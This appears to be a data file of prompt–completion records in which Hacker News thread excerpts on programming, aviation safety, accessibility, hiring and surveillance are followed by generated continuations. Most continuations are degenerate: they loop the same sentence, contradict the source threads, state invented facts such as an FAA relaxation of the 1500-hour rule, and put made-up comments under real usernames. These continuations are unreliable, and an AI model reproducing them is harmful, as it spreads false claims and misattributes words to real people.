too.\n\n \n \n but it should not require anything more than a media \n query fetching different CSS and perhaps some additional\n scripting so as to simply restyle the content experience\n \n\nAndy does say that all you need is media quires for the CSS and such and\nbingo. Well, no. No its not that simple. If you want to redo the homepage for\na specific mobile experience then you probably want to serve different sized\nimages, maybe not have some Flash stuff on the iPhone, maybe drop the\nbandwidth intensive stuff that works well on desktop.\n\nCSS media queries does not solve the problem. It is never that easy and shame\non your for saying"} +{"output_text": ".\n\n~~~\nabrookewood\nI'm not sure I understand your motivation. I'm not sure I'd want to write a\nhello world in a language I don't know.\n\n~~~\ncyberpunk\nI'm not sure I understand your motivation either.\n\nI'm not sure I'd want to write a hello world in a language I don't know.\n\nI'm not sure I'd want to write a hello world in a language I don't", "input_text": "\nI'll be doing lots of refactoring to bring the code in line with proper TOS\nguidelines naming conventions.\n\n(Author here: I cross-posted this comment from a reddit thread, hope it isn't\nagainst the rules..)\n\n~~~\nabrookewood\nCan I ask why you decided to do this rather than learning on a more\nconventional platform?\n\n~~~\ncyberpunk\nI was kind of interested in writing something for the temple (well, okay, I\nspent a bored afternoon contemplating giving it a go and half heartedly\nbooting vms and reading code....)\n\nWhile I can't answer for the OP, my motivation was _specifically_ that this is\nkind of an alien environment and the challenge involved in even getting to\nhello world would definately have seen me walk away at the end the better for\nthe exp, even if walking away from those hours without having gained some\nmarketable understanding of framework foo or language bar.\n\nIn the end I didn't do that because the code is insanely complicated (all\nsingle letter vars) and my downtime is too precious for such masochism\ncurrently; I don't think it's too much of a strech to understand why others\nmight be interested though.\n\nI'm glad to live in a world where such an outstanding personal achievement\nlike Terry's OS really is can exist, and that there are people out there\nprodding at it.\n\nIsn't it cool that we don't always do things for the money?\n\nI dearly hope that none of the recent templeos projects are attempts to\nantagonize Terry though. He is a profoundly accomplished software engineer and\ndeserves nothing but respect for his technical achievements from us all\nalongside understanding of the rest of the package"} +{"output_text": " the FAA has relaxed this requirement to 1000 hours.\n\n~~~\njedberg\nI think the 1500 hour rule is a good thing. It's a good thing that the\ncaptain and first officer both need to have the same level of training.\n\nI think it's a bad thing that the captain can't fly the plane without the\nfirst officer.\n\n~~~\ndanaliv\nI agree. I think it's a good thing that the captain can't fly the", "input_text": "orgulis\n> I wanted to be a hero and fix India's problems but then I took the easy way\n> out and moved to a developed country.\n\nNot so easy way :-)\n\nThe video says that 20% of the wealth is cultural. I guess it's more. Western\ncountries are probably so successful because they inherited the greek and\nroman culture.\n\nSome countries in Asia (like Japan) switched from feudalism to capitalism in\nfew decades.\n\nThe difficulties of Africa could be explained by the lack of the writing\n(unless it's a consequence). The society is more flat than vertical.\n\n------\nknown\n[https://en.wikipedia.org/wiki/Economic_mobility](https://en.wikipedia.org/wiki/Economic_mobility)\n!=\n[https://en.wikipedia.org/wiki/Social_mobility](https://en.wikipedia.org/wiki/Social_mobility)\n\n \nThe Colgan Air disaster was a milestone in aviation safety - jaredwiener\nhttps://www.bloomberg.com/news/articles/2019-02-12/the-colgan-air-crash-helped-keep-90-million-flights-safe\n======\ndanaliv\nOne of the biggest changes that came out of the Colgan crash is the so-called\n\"1500 hour rule.\" Before Colgan, only the captain needed to have an airline\ntransport pilot (ATP) certificate, the highest level of pilot certification.\nFirst officers (copilots) could fly with a commercial pilot certificate, a\nlower grade of license. Now, both pilots are required to hold ATP\ncertificates.\n\nATP applicants need to have 1500 hours of flight experience\u2014hence \"1500 hour\nrule\"\u2014though"} +{"output_text": " like humidity.\n\n------\nmatt_the_bass\nI\u2019m curious if this would work on a car. I\u2019m thinking of a car that has a\nmetal body and a plastic interior.\n\n~~~\njcims\nI'm not sure if this would work on a car, but I'd be curious to see if it\nwould work on a boat.\n\n~~~\nmatt_the_bass\nI\u2019m thinking of a car that", "input_text": " don\u2019t think I was meant to get a giggle out of this. Can you explain using\nother words? Of course a painted surface isn\u2019t bare. It\u2019s got paint on it.\n\nDid you mean it\u2019s not aluminum? Or a different grade?\n\n~~~\nhandedness\nThanks, I laughed at it myself, in hindsight. I should have stipulated\n\"underneath\" and likely appended an \"if you follow...\".\n\nYes, well, they may either be materials that have other surface\ntextures/coatings/treatments/finishes that aren't conducive to polishing, or\nthey may be other metals, or non-metallic composites (can't put aluminum over\na radar, for example), and so on.\n\nTL;DR: The painted surfaces are generally instances in which polished aluminum\nwon't really work, for a variety of reasons.\n\n------\nAWildC182\nInteresting approach and hugely useful if practical, though it bears\nmentioning that the leading edges on aircraft experience a fair amount of\nabrasion from dust, debris, and insects. I wonder how long this treatment\nwould be effective for in a real world environment\n\n~~~\njcims\nSuper important question, first thing that came to mind. How would you even\ntest it for efficacy? Just look for ice building up and say 'welp, time for\nrefinish?'\n\n~~~\ncolechristensen\nThere are wind tunnels for testing icing behaviors, not too hard to do an\naccelerated aging test and come up with standard procedures.\n\n~~~\nAWildC182\nCould be easier said than done. There are lots of edge cases that could become\na problem in real use. Stuff like surface contamination from various fluids or\nenvironmental factors"} +{"output_text": " the agency to oversight. No court can compel it to disclose its\nsecrets. No court can compel it to stop its illegal activities. No court can\ncompel it to obey the Constitution. No court can compel it to obey the law.\n\n\"The N.S.A. is the most powerful intelligence agency in the history of the\nworld. It is the most secret intelligence agency in the history of the world.\nIt is the most unaccountable intelligence agency in the", "input_text": " have to pay for\nit.\n\n~~~\nacranox\nVolkswagen deliberately engineered their cars to falsify government emission\ntests. What intel did was negligent. Volkswagen was malicious. These are very\ndifferent. I don\u2019t see them in remotely the same boat.\n\n~~~\nAnimalMuppet\n\"Negligent\" is even too strong.\n\nPer dictionary.com, the legal definition of negligence is \"the failure to\nexercise that degree of care that, in the circumstances, the law requires for\nthe protection of other persons or those interests of other persons that may\nbe injuriously affected by the want of such care. \"\n\nWhat Intel did was not recognize that a specific attack possibility existed.\nNobody else recognized it either, for a decade. That's not negligence. That's\nfailure to be omniscient.\n\n------\nleoc\nObligatory: [https://millcomputing.com/topic/meltdown-and-\nspectre/](https://millcomputing.com/topic/meltdown-and-spectre/)\n\n------\nfulafel\nDoes anyone know how things are going in GPU land? Don't they support\nconcurrent separate protection domains these days too?\n\n~~~\ndeepnotderp\nNo OoO speculation though.\n\n \n\nThe Silent Power of the NSA (1983) - shalmanese\nhttp://www.nytimes.com/1983/03/27/magazine/the-silent-power-of-the-nsa.html?pagewanted=all\n\n======\nstevewillows\nThe last paragraph tells the tale of why this article has emerged again.\n\n\"No laws define the limits of the N.S.A.'s power. No Congressional committee\nsubjects"} +{"output_text": " like any other team, we've found that the benefits of Node are worth the\ncost.\n\n~~~\njoshu\nI'm curious, what are the benefits?\n\n~~~\ntylerlh\nThe benefits are that we can write code in a language that we're already\nfamiliar with, and that we can write code that is more easily maintainable.\n\n~~~\njoshu\nI'm not sure I understand.\n\n~~~\ntylerl", "input_text": " function in an IDE 'Show Call Hierarchy' will never be\navailable when using a dynamically typed language.\n\nThat is not an issue for smaller projects. However, long before you even get\nclose to the the million lines of code project size, your tools will fail you.\nYour debugging/refactoring times will explode and adding a new feature will\nseem unsurmountable.\n\nInstead, let's just re-write everything from scratch because the cool hipster\nthat wrote your backend a year ago has left for greener pastures...\n\nI won't even try to guess the amount of technical debt produced with Node.js\nand the likes each day in the bay area.\n\nAnd, yes, I just used Node.js to write a Slack-bot. It was fun, took me two\nhours and got me up and running quickly. That's the beauty of it. Just be\naware of the dangers.\n\n~~~\nencoderer\nI've worked in three million+ loc codebases, in PHP, Python and Java. I don't\nshare your opinion that you need static types in these circumstances. You need\ndiscipline, modularity, and most importantly you need to have been blessed\nwith gardeners and maintainers throughout the life of a project and not just\nafter a mess has already taken hold.\n\n~~~\nbeders\nDid you read what I wrote? I already said that you need a disciplined team.\nGood luck keeping that team together for years to come. Not sure if you are\ndisputing the fact that keeping code around is a challenge, or not.\n\n------\ntylerlh\nThe Netflix.com site and webapp runs on Node (and talks to a number of\nservices written in mostly JVM based languages). While we encounter challenges\njust"} +{"output_text": " how to interact with it.\n\n~~~\njamesbritt\n\"A blind friend just needed sighted help to complete a purchase, because the\nprocess included a custom checkbox with no ARIA support.\"\n\nI'm not sure I understand. What was the problem?\n\n~~~\nmwcampbell\nThe problem was that the checkbox was not labeled as a checkbox, so the\nsighted person couldn't tell that it was a checkbox. The sighted person\nneeded to", "input_text": " to add a keyup handler to make it do so. 3\\. Screen readers won't\nreport the div as a button because they can't identify widgets based on how\nthey look, so add `role=\"button\"` as per the ARIA spec (only on first cup of\ncoffee now, so I'm not providing a link.)\n\nYes, it isn't super complicated, but a) most don't do it because they _look_\nidentical and b) multiply that by any other widget where the HTML version is\nreplaced with a div and suddenly things get complicated. If you're not a\nkeyboard user, you may not understand how the web works without a mouse. All\nthat is lost when switching to divs.\n\nThis says nothing about how OS/screen reader combinations differ in key\nhandling, nor about how complex widgets such as multiselects include similarly\ncomplex key handling. Also, the above ARIA is super simplistic. It doesn't\nhandle situations where, for instance, you have multiple roles and have to\ntoggle some of them based on what item is selected, what item is focused, etc.\n\nSo, TLDR: It's _so_ much better to use the HTML elements specifically designed\nfor a certain task because you get a lot for free that is taken for granted.\nThat said, I like how Semantic specifies how my UI might look, an wish I could\nhave the best of both worlds.\n\n~~~\nmwcampbell\nAnd a custom button is certainly not the worst offender, though it's probably\nthe most commonly cited example. A blind friend just needed sighted help to\ncomplete a purchase, because the process included a custom checkbox with no\nARIA support. At least with a button that's not identified as such, the user\ncan figure out"} +{"output_text": "\nWe are looking for a Senior Software Engineer to join our team. You will be\nresponsible for developing and maintaining our geospatial data platform.\n\nYou will be working with a small team of engineers and will have the\nopportunity to work on a variety of projects.\n\n------\njames-a-morgan\nMorgan Stanley | Software Engineer | New York, NY | Full-time | Onsite\n\nWe're looking for a software engineer to join our team", "input_text": "aker@blkmtn.com\n\n------\nd0m\nListrunner | Full-time, Montreal |\n[https://www.listrunnerapp.com](https://www.listrunnerapp.com)\n\nListrunner is a secure collaboration platform for clinical teams.\n\nUsing human design and machine learning, we connects doctors to their team\u2019s\ncollective expertise. We helps clinical teams make the best decisions for\ntheir patients, saving lives and reducing costs.\n\nLooking to hire a front-end and a back-end engineer.\n\n[https://angel.co/listrunner/jobs/208216-front-end-\nengineer-i...](https://angel.co/listrunner/jobs/208216-front-end-engineer-in-\nmontreal)\n\n[https://angel.co/listrunner/jobs/208224-back-end-software-\nen...](https://angel.co/listrunner/jobs/208224-back-end-software-engineer)\n\nOur stack is mostly node, react, react-native.\n\nFeel free to reach out: phzbox at gmail.\n\n------\nmaxmind\nMaxMind | Senior Software Engineer | Remote - US & Canada | Full Time |\n[https://www.maxmind.com/en/home](https://www.maxmind.com/en/home)\n\nPlease view our job description and apply here:\n[https://jobs.lever.co/maxmind/c378f96c-aaad-4cab-8709-091d05...](https://jobs.lever.co/maxmind/c378f96c-aaad-4cab-8709-091d050825cf)\n"} +{"output_text": " in French.\n\n~~~\nemilecantin\nI didn't know that either, but I guess it's a bit of a coincidence.\n\n------\njessaustin\nI'm not sure what to make of this. It's a bit like the \"spleen\" in \"spleen\nthe cat\".\n\n~~~\njessaustin\nI guess I should have read the article before commenting. It turns out that\nthe spleen is a \"", "input_text": "84/)\n[ITALIAN]\n\n~~~\ngus_massa\nThe Italian link has more info. Thanks. Autotransaltion:\n[https://translate.google.com/translate?sl=auto&tl=en&u=http%...](https://translate.google.com/translate?sl=auto&tl=en&u=http%3A%2F%2Ftorino.repubblica.it%2Fcronaca%2F2016%2F12%2F14%2Fnews%2Ftorino_trapiantato_un_rene_al_posto_della_milza_e_il_primo_intervento_al_mondo-154081884%2F%3Frefresh_ce)\n\n------\nemilecantin\nAs a French-speaking person, I was a bit confused by the word \"Spleen\", as it\nmeans something akin to \"Melancholy\" in French (it was mostly used by\nRenaissance poets like Beaudelaire), but I always assumed it was an anglicism\nor something so I really wasn't expecting it to be a body part.\n\nWhat's kind of funny is that the French word for this organ, \"rate\", is used\nin the idiom \"Se dilater la rate\", which means laughing a lot.\n\nSo the same organ's name is related to both sadness and laughter, depending on\nthe language.\n\nI now realize that I still don't know what a spleen is or what it does in the\nbody; time to fire up Wikipedia!\n\n~~~\njessaustin\nI didn't know until I looked at a dictionary just now that \"spleen\" can mean\n\"melancholy\""} +{"output_text": " extra line of code to a library was a big deal. Now\nit's just a matter of adding a few lines of code to a library and you are done\nwith it.\n\n~~~\ntabtab\nI think the \"extra line of code\" is the \"extra line of code\" that is\n_necessary_ to get the job done.\n\n------\ntabtab\nI think the author is right that the \"extra line of code\" is the \"extra line of", "input_text": "these one-line \"libraries\".\n\nI say generally more than a few hundred lines because there are some\nexceptional cases, such as encryption algorithms or some very particular data\nstructures like red-black trees, where they may not be a whole lot of lines\nper se, but they can be very dense, very details-oriented, very particular\nlines. Most of our code is not like that, though.\n\n~~~\ntabtab\nRe: _It's not that hard_\n\nDo you mean creating libraries that are flexible and partitioned well for\n_future_ needs? I do find that hard and almost no library maker I know of gets\nit right the first time. Analysis of current needs is difficult; analysis of\nfuture needs is extra difficult. Experience helps, but is still not powerful\nenough. The future continues to surprise the heck of out me. Tell God to slow\nthings down ;-)\n\n~~~\njerf\nNo, I mean that it's not _that_ hard to do some due diligence when picking a\ndependency. You just need to get over the idea that it's something you don't\nneed to do.\n\nNo, you're not going to read every single line, but you ought to be running\nthrough the basics outlined by Russ in his post. If you're being paid to code\nand you're not doing those basics, you're being negligent in your professional\nduty.\n\nAnd knowing the internet and its inability to deal with nuance, let me say\nagain, no, it's not _trivial_. But it's not _that hard_, either. If a\ndependency is worth bringing in, it's bringing you enough value that you ought\nto be able to spare the effort of doing the basic due diligence.\n\n------\ntrhway\n15 years ago adding an"} +{"output_text": " of\nbottlenecks in the kernel.\n\n------\njoezydeco\nI'm not sure if this is a good thing or not.\n\nI'm not a fan of the \"we're going to make a new OS\" approach. It's a\nfundamental change in the way we think about computing.\n\nI'm not sure if this is a good thing or not.\n\n~~~\njoezydeco\nI'm not sure if", "input_text": ". Much Cool! Sigh. Big Crash. But there in spirit.\n\n------\nfelipelalli\nI know it is not appropriate on HN but I can't resist:\nAUEHAUEHUAHEUAHEUHEUAHEUAHUEHAUEHUAHEUH WOW Apple! Such Apple... Many\nApples...\n\n------\nlurkinggrue\nSo wise.\n\n------\njashjacob\nso wow. nice\n\n------\ndpanah\nThe reason why this is worthy news is that you made it so. Hence, think twice\nunless you are Dogecoin lover, and if you are, mission accomplished. Many\ntimes things come from behind and win, watch the moon closely this time.\n\n------\nIE5point5\nIcons/UI details could use a lot of work in this. Actually the website is much\nbetter designed than the actual app.\n\n \n\nAn Analysis of Linux Scalability to Many Cores [OSDI'10 PDF] - yarapavan\nhttp://pdos.csail.mit.edu/papers/linux:osdi10.pdf\n\n======\npatrickgzill\nSummary: they found bottlenecks in many applications and found that by\nimplementing various code changes to the kernel, about 3000 lines worth, they\ncould greatly improve performance on a 48-core Linux box.\n\nFor instance, per-core data structures to speed access to commonly used kernel\nitems.\n\nThey also introduce a concept they call \"sloppy counters\" which is a per-core,\nreduced lock contention method of handling certain systemwide counters.\n\n------\nxtacy\nAs noted in the paper, something of relevance: Receive Packet Steering is a\nrecent patch from Google for the Linux Kernel addresses the issue"} +{"output_text": " a result of the industry's recent\nrecession, may have changed that.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\nThe author is saying that the union is bad because it's bad for the workers.\n\nBut the union is bad because it's bad for the company.\n\nThe author is saying that the union is bad because it's bad for the company.\n\nBut the union is bad because it's bad", "input_text": " heads. When a job is a lot of people's dream job, conditions are\ngoing to be poor because the supply of potential labor is very large as\ncompared to the demand.\n\nAlso, I have no idea where you get the idea that unions can somehow force\ncollective ownership. The company belongs to the shareholders, unions don't\nmagically get to take other people's property.\n\n~~~\nApocryphon\nEmployees usually receive shares as comp, don't they?\n\nI will say that the horror stories and bad press coming out of the video\ngaming industry will possibly have a chilling effect for new grads who would\notherwise jump straight into it. Eventually management will run out of non-\nunion workers to hire. Or the non-union workers themselves will demand better\ntreatment.\n\n~~~\nmanfredo\n> Employees usually receive shares as comp, don't they?\n\nNon-voting shares, yes. Voting shares are usually only given to very senior\npeople, if ever, and not nearly enough to form anything close to a controlling\nownership of the company.\n\n> I will say that the horror stories and bad press coming out of the video\n> gaming industry will possibly have a chilling effect for new grads who would\n> otherwise jump straight into it. Eventually management will run out of non-\n> union workers to hire. Or the non-union workers themselves will demand\n> better treatment.\n\nDecades of game development suggests otherwise. Like acting, it's people's\ndream job. And when the supply of labor exceeds the demand workers do not have\nleverage.\n\n~~~\nApocryphon\nFor decades there was no interest nor action towards unionizing in game\ndevelopment. Greater scrutiny into the industry from modern game journalism,\nand perhaps worsening experiences as"} +{"output_text": "ained to the physical world, and we are losing the ability to\nread and write.\n\n~~~\nkragen\nThe Bible is a single text document, but it's not a single text document\nwritten in a single text document. It's a collection of texts written in\ndifferent text documents.\n\nThe Bible is a single text document, but it's not a single text document\nwritten in a single text document. It's a collection of texts written in\ndifferent text documents", "input_text": " are the Laws of Thermodynamics, Entropy and\n'Glass' (Crystals) being the the most stable state of matter in the universe.\nAll of these indicate that such longevity is possible (see my main post).\n\nClearly, the reason that '13.8 Gy' is used here is that it's a well known time\ninterval and it puts the longevity of this technology into perspective in ways\nthat many will understand.\n\nIf actually achieved in practical terms then we ought to be hailing this work\nas a remarkable effort\u2014not quibbling about trivia and silly incidentals.\n\n~~~\nkragen\nGlass is the opposite of crystals. Crystals would presumably be longer-lived,\nbut their anisotropy makes them somewhat trickier to work with. Otherwise I\nagree, and like you, I'm profoundly disappointed by the level of\n\"notacoward\"'s comments in this thread so far.\n\n~~~\nhilbert42\nYou're right of course. I've assumed the stuff would necessarily be\ncrystalline (and would have to be to have such longevity). The word 'glass'\nhere being used for easier digestion by the public. (See my longer post for\nmore details.)\n\n------\ntoyg\nSeems a bit of a waste to dedicate an entire 360TB disc to a single text\ndocument like a bible, which is probably just a few KBs... /s\n\nMore seriously, they don't talk about reading capabilities (retrieval speed\netc). And what if it gets scratched? What is the error tolerance? At that\ndensity, a single speck of dust could have dramatic implications...\n\nI hope this reaches industrial viability, because we desperately need a\ndigital format that can approximate the lifespan of simple paper. At the\nmoment we are ch"} +{"output_text": "ologies: Python, Django, Flask, Javascript, React, Vue, HTML, CSS,\nBootstrap, SQL, PostgreSQL, MySQL, AWS, Docker, Ansible, Terraform,\nDocker/Kubernetes, Linux, Bash, Git, Linux, Docker, Ansible, Terraform,\nDocker, Kubernetes, Linux, Bash, Git, Linux, Docker, Ansible, Terraform,\nDocker, Kubernetes, Linux, Bash,", "input_text": " and your clients. Yes, that's right, caring about your clients\nbecause... to be honest, your main goal is to make your clients happy so that\nthey eagerly throw money at you, isn't it?\n\nI create state-of-the-art web apps that make the lives of my clients customers\neasier. And I can do the same for you.\n\nShoot me a message and at least let's chat about it...\n\nEmail: hello@robinaltay.dev\n\nWebsite: [https://robinaltay.dev](https://robinaltay.dev)\n\n------\nc3534l\nLocation: Portland, Oregon\n\nRemote: Yes\n\nWilling to Relocate: maybe to Seattle, but I really do love Portland\n\nTechnologies: Python, Haskell, C#, Go, Terraform, Docker, AWS,SQL, Ansible...\n\nResume:\n[https://web.tresorit.com/l#FI93Attlqb3t7wPHp9JuKg](https://web.tresorit.com/l#FI93Attlqb3t7wPHp9JuKg)\n\nEmail: gn342ram@gmail.com\n\n\\---\n\nI linked my GitHub in my resume, but I'm working now on getting some more\nrecent and complete code samples up, so ask me about code samples again if\nyou're reading this later in the month. I have DevOps experience, but I feel\nhappy and fulfilled when I get to write code and develop applications and\ntools that other people use.\n\n------\ndynatos\nLocation: Seattle, WA\n\nRemote: Not a requirement, nice to have\n\nWilling to relocate: Yes\n\nTechn"} +{"output_text": " else's money to do research that will be used by\nsomeone else is a waste.\n\n~~~\nmattkrause\nI think the point is that the researchers are doing it for free.\n\n~~~\nmLuby\nI don't think that's the point. The point is that the researchers are doing\nit for free.\n\n~~~\nmattkrause\nI think you're right. I was just trying to be snarky.\n\n", "input_text": "\nmaximizes uncertainty\n\nI would expect this to learn to avoid deaths relatively quickly. It doesn\u2019t\nneed to be good at knowing what will happen next, just better at recognizing\nspecific dead ends (e.g. spikes or holes).\n\n~~~\npas\n[https://blog.openai.com/reinforcement-learning-with-\npredicti...](https://blog.openai.com/reinforcement-learning-with-prediction-\nbased-rewards/)\n\n------\npeter_d_sherman\n\"The problem with both Montezuma\u2019s Revenge and Pitfall! is that there are few\nreliable reward signals. Both titles involve typical scenarios: protagonists\nexplore blockish worlds filled with deadly creatures and traps. But in each\ncase, lots of behaviors that are necessary to advance within the game do not\nhelp increase the score until much later.\"\n\nOpinion: Equally true in non incubator-assisted entrepreneurship... that is,\nreal entrepreneurship...\n\n------\n0db532a0\nCan someone explain how this might help in optimising vehicle routes as\nopposed to existing combinatorial algorithms made expressly for this purpose?\n\n~~~\ndetaro\nGiven that they name \"robot learning\" as an application, the target domain is\nprobably self-driving cars, not route optimization.\n\n~~~\n0db532a0\n\u201cBetter reinforcement-learning algorithms could ultimately prove useful for\nthings like autonomous driving and optimizing vehicle routes\u201d\n\n~~~\ndetaro\nAh, I had missed that line. Unless I missed it in the Uber post too, that does\nseem to be a claim the TR writer added?\n\n------\nmLuby\nThis kind of research should be done by universities or already profitable\ncompanies. Using someone"} +{"output_text": " design, you should\nhave a mockup of the site.\n\nPart B - I think that you should have a mockup of the site before you start\ndesigning. I think that you should have a mockup of the site before you start\ndesigning.\n\nPart C - I think that you should have a mockup of the site before you start\ndesigning. I think that you should have a mockup of the site before you start\ndesigning.\n", "input_text": " reasons for them, without being arbitrary. Design\nis just a million tiny decisions.\n\n------\nDTrejo\nSome Quora questions I was looking at yesterday that you might find helpful (I\nplan to comb through these and pick out books and blogs to read more of):\n\nWhat are the best books on UI/UX design for software engineers?\n[http://www.quora.com/What-are-the-best-books-on-UI-UX-\ndesign...](http://www.quora.com/What-are-the-best-books-on-UI-UX-design-for-\nsoftware-engineers)\n\nWhat are the best resources for learning bleeding-edge web UI and UX design?\n[http://www.quora.com/What-are-the-best-resources-for-\nlearnin...](http://www.quora.com/What-are-the-best-resources-for-learning-\nbleeding-edge-web-UI-and-UX-design)\n\nWhat are the best design blogs? \n\nWhat are the best books written on design? [http://www.quora.com/What-are-the-\nbest-books-written-on-desi...](http://www.quora.com/What-are-the-best-books-\nwritten-on-design)\n\n------\nbobbywilson0\nPart A - I am on the side of completing as much UX up front as possible. Bad\nvisual design is something that no one can ignore. I think that ideally before\nyou even have done the \"black-text-on-white-background\""} +{"output_text": ", I'm not sure that's a good assumption.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\nIt's not like Andreessen Horowitz is a bad investment. It's not like they\ndidn't make money.\n\nIt's not like they didn't make money on Instagram.\n\nIt's not like they didn't make money on Facebook.\n\nIt's not like they didn't make money on Twitter.\n", "input_text": " the article that isn't there. I saw no\nvitriol aimed at picplz.\n\n~~~\nsachingulaya\nI read the article as being unnecessarily harsh towards picplz to bolster the\n'fumble' that was Andreesen Horowitz's 4,000% return on instagram. This\narticle is definitely a non-article and could easily be changed around to say\n\"Andreesen Horowitz has done it again!\".\n\n------\nlarrys\n\"At that market capitalization, Andreessen Horowitz\u2019s stake would be worth\n$100 million \u2014 not bad for a $250,000 investment, but $200 million short of\nthe return it could have earned had it stayed the course.\"\n\nAmazing that you can turn $250k into (possibly) $100,000,000 and in the eyes\nof a NYT writer you have fallen short.\n\nThe writer will make a great parent.\n\n~~~\nredthrowaway\nI'm really not sure I get her beef.\n\nIf I bought $1MM worth of AAPL in 2003 at $10/share, I'd have $57MM. But if I\nbought it in December 97, at $3.30/share, I could have _$150MM!_ What an idiot\nam I!\n\nAH made out like bandits here; I'm sure they feel just fine about it.\n\n~~~\nlarrys\n\"not sure I get her beef\"\n\nThere is a saying in news business \"if it bleeds it leads\".\n\nThe negative angle draws in viewers and readers on certain topics and in\ncertain situations. My guess is that that she decided this angle would get\nmore views and interest.\n\n~~~\nredthrowaway\nGiven how the page fared on HN"} +{"output_text": " that it's not a product that Google has to sell. It's a\nplatform, and it's a platform that Google has to sell.\n\n~~~\nmattmanser\nI think you're missing the point.\n\nGoogle's dominance in search and web advertising is a massive accomplishment\nthat was not at all guaranteed from its initial success.\n\nGoogle's dominance in search and web advertising is a massive accomplishment\nthat was not at all guaranteed from its initial success.\n\n", "input_text": " their\nability to display \"relevant\" ads or at least ads that advertisers will pay\nmore money for. They also prevent other dominant players in that space from\ngetting a foothold in advertising. Chrome and Android ensure that Google's\nvarious services are not a disadvantage on the web and in mobile computing\nrespectively and may gradually be used to advantage their services over\ncompetitors'.\n\nEdit2: jjoonathan, your point regarding Amazon and competitive threats they\nface is correct, but it has very little to do with the article, which is\ntaking Google's successful position for granted and asking how they got there.\nAnd the idea that Gmail, Maps, Android and Chrome haven't helped and won't\nhelp in the future is fairly absurd.\n\nEdit3: Multiple downvotes seem a little fishy, as does this article getting\nvoted to the top of Hacker News.\n\nEdit4: Another thing the article is ignoring is that Google's continued\ndominance in search and web advertising is a massive accomplishment that was\nnot at all guaranteed from its initial success. And its massive investment in\nengineering that the author sees as excess I'm sure has a lot to do with how\nit was able to sustain that dominance.\n\n~~~\njjoonathan\nGoogle has some very impressive moats, but the real question is how much\nprotection they actually provide. Business-idea-space is super high\ndimensional. You can't just walk the perimeter and say \"yep, the moat protects\nus from all viable routes of assault.\" Specifically, if all the valuable\nsearches start going through Amazon how quickly can Gmail, Google Maps,\nAndroid, and Chrome make up the missing revenue?\n\nOf the products you listed, Youtube is the only one that I think is really\northogonal in"} +{"output_text": ".\n\n------\njoshu\nI'm not sure what you mean by \"motivated to program\".\n\nIf you mean \"motivated to learn programming\", then I'd say that you should\nstart with the basics.\n\nIf you mean \"motivated to program well\", then I'd say that you should start\nwith the basics and then learn to program well.\n\n------\njoshu\nI'm not sure what you mean by \"motivated to program", "input_text": " for not putting your full effort in.\n\n------\nGoladus\nOne way to overcome a lack of motivation is to ruthlessly eliminate\ndistractions. Tailor your environment and to be (and practice habits that are)\nmaximally conducive to studying. If you have a hard time \"taking a step back\"\nto take an objective look at your habits and lifestyle, you might find yoga\nand meditation helpful.\n\nExercise can also help keep your energy up, but in my experience exercise\ndoesn't magically solve motivation problems and sometimes gets in the way.\nWorking a hard labor can give you good experience but I think the motivation\nthat comes from that sort of work tends to be vastly overstated and wears off\nvery quickly.\n\nDo you spend time programming because you're motivated to program? Have you\nproduced anything of value? What sort of research do you do? What motivates\nyou besides programming and research? Who is paying the bills right now?\n\n------\nAqueous\nIt's nice to chip away at programming but if you don't have an academic basis\nto guide your studies it is going to keep you out of a lot of jobs when you\nget out. Take it from someone who knows - I've programmed useful things in\njust about every language, but because I didn't major in Computer Science\n(Physics/Philosophy instead) I'm unable to compete for the top tier of jobs.\nHopefully this isn't permanent, as I'm teaching myself computer science now,\nbut I could've saved myself a lot of work if I had just chosen a concentration\nmore suitable for the jobs I was interested in.\n\nYou may be a confident auto-didact but even auto-didacts tend to have large\nblind spots. You don't know what you don't know"} +{"output_text": ".com, though.\n\n------\njoshu\nI think you should do a \"what is your favorite domain name\" poll.\n\n~~~\njoshu\nI think you should do a \"what is your favorite domain name\" poll.\n\n------\njoshu\nI think you should do a \"what is your favorite domain name\" poll.\n\n------\njoshu\nI think you should do a \"what is your favorite domain name\" poll", "input_text": " to hear that the great domain giveway I sparked\n(referenced elsewhere in these comments) didn't pan out for you.\n\nFailed for me too, as it happens - no one wanted anything I had to give away,\nand I had such specific target markets in mind that I just couldn't find one\nthat I could use -- basically the same issue that meant I couldn't find a good\nunregistered domain in the first place\n\n------\nsoult\nYour post got me interested: Do you think that HN could pull of another thread\nlike this: \n\n------\nmortenjorck\nmassivedebate.com:\n\nOne big 72pt bold, binary question at the top (i.e. \"Should the US healthcare\nreform bill have been passed?)\n\nTwo columns.\n\nYou can scroll down the page and read the top-rated arguments on both sides,\nthen choose to type into either the \"for\" or \"against\" column field, and once\nyou've made your argument, you can go back up the column (and into the \"new\narguments\" view) and vote up and down _only the side that you chose._\n\nAfter a few days, the question rotates, and it starts all over again.\n\n~~~\nleftnode\nI developed a site similar to that for a friend of mine: \n\nBasically he posts a daily comment through a backend forum, and then people\ncan agree or disagree or talk smack or whatever. You don't have to be\nregistered to post, but if you're registered under the forums and logged in\nand post, it'll show your username.\n\nI do like the name massivedebate"} +{"output_text": ".\n\nBut the researchers didn't do that. They didn't even ask. They just exploited\ntheir privileged access to the network to get the information they wanted.\n\nThe researchers didn't even bother to hide their identity. They didn't even\ntry to hide their affiliation with the NSA. They just used their privileged\naccess to the network to get the information they wanted.\n\nThe researchers didn't even bother to hide their affiliation with the NSA.\nThey just used their privileged", "input_text": "\nrather meaningless literary flourishes.\n\n~~~\ncreep\nYou can cull every method down to a \"pedestrian\" idea. We build simple\nsolutions for seemingly complicated problems. I don't know anything about\nchaos engineering, so somebody correct me if I'm wrong, but from the little\nI've read it sounds like a set of tools that expand the fuzzing idea for\nsecurity and reliability in computing systems. Fuzzing in this case would be\nthe simplest form of testing, but the given list elucidates tools that target\na desired outcome more directly, and give one more control over the target.\n\nI don't know why you are annoyed by this post.\n\n \nDebunking Trump's \u201csecret server\u201d - apress\nhttp://blog.erratasec.com/2016/11/debunking-trumps-secret-server.html#.WBie7-ErLyJ\n======\nhga\nAnd as usual, the ends justify the means:\n\n _Those researchers violated their principles\n\nThe big story isn't the conspiracy theory about Trump, but that these malware\nresearchers exploited their privileged access for some purpose other than\nmalware research.\n\nMalware research consists of a lot of informal relationships. Researchers get\nDNS information from ISPs, from root servers, from services like Google's\n8.8.8.8 public DNS. It's a huge privacy violation -- justified on the\nprinciple that it's for the general good. Sometimes the fact that DNS\ninformation is shared is explicit, like with Google's service. Sometimes\npeople don't realize how their ISP shares information, or how many of the root\nDNS servers are monitored.\n\nPeople should be angrily calling their ISPs and ask them if they share DNS\ninformation with untrustworthy researchers"} +{"output_text": 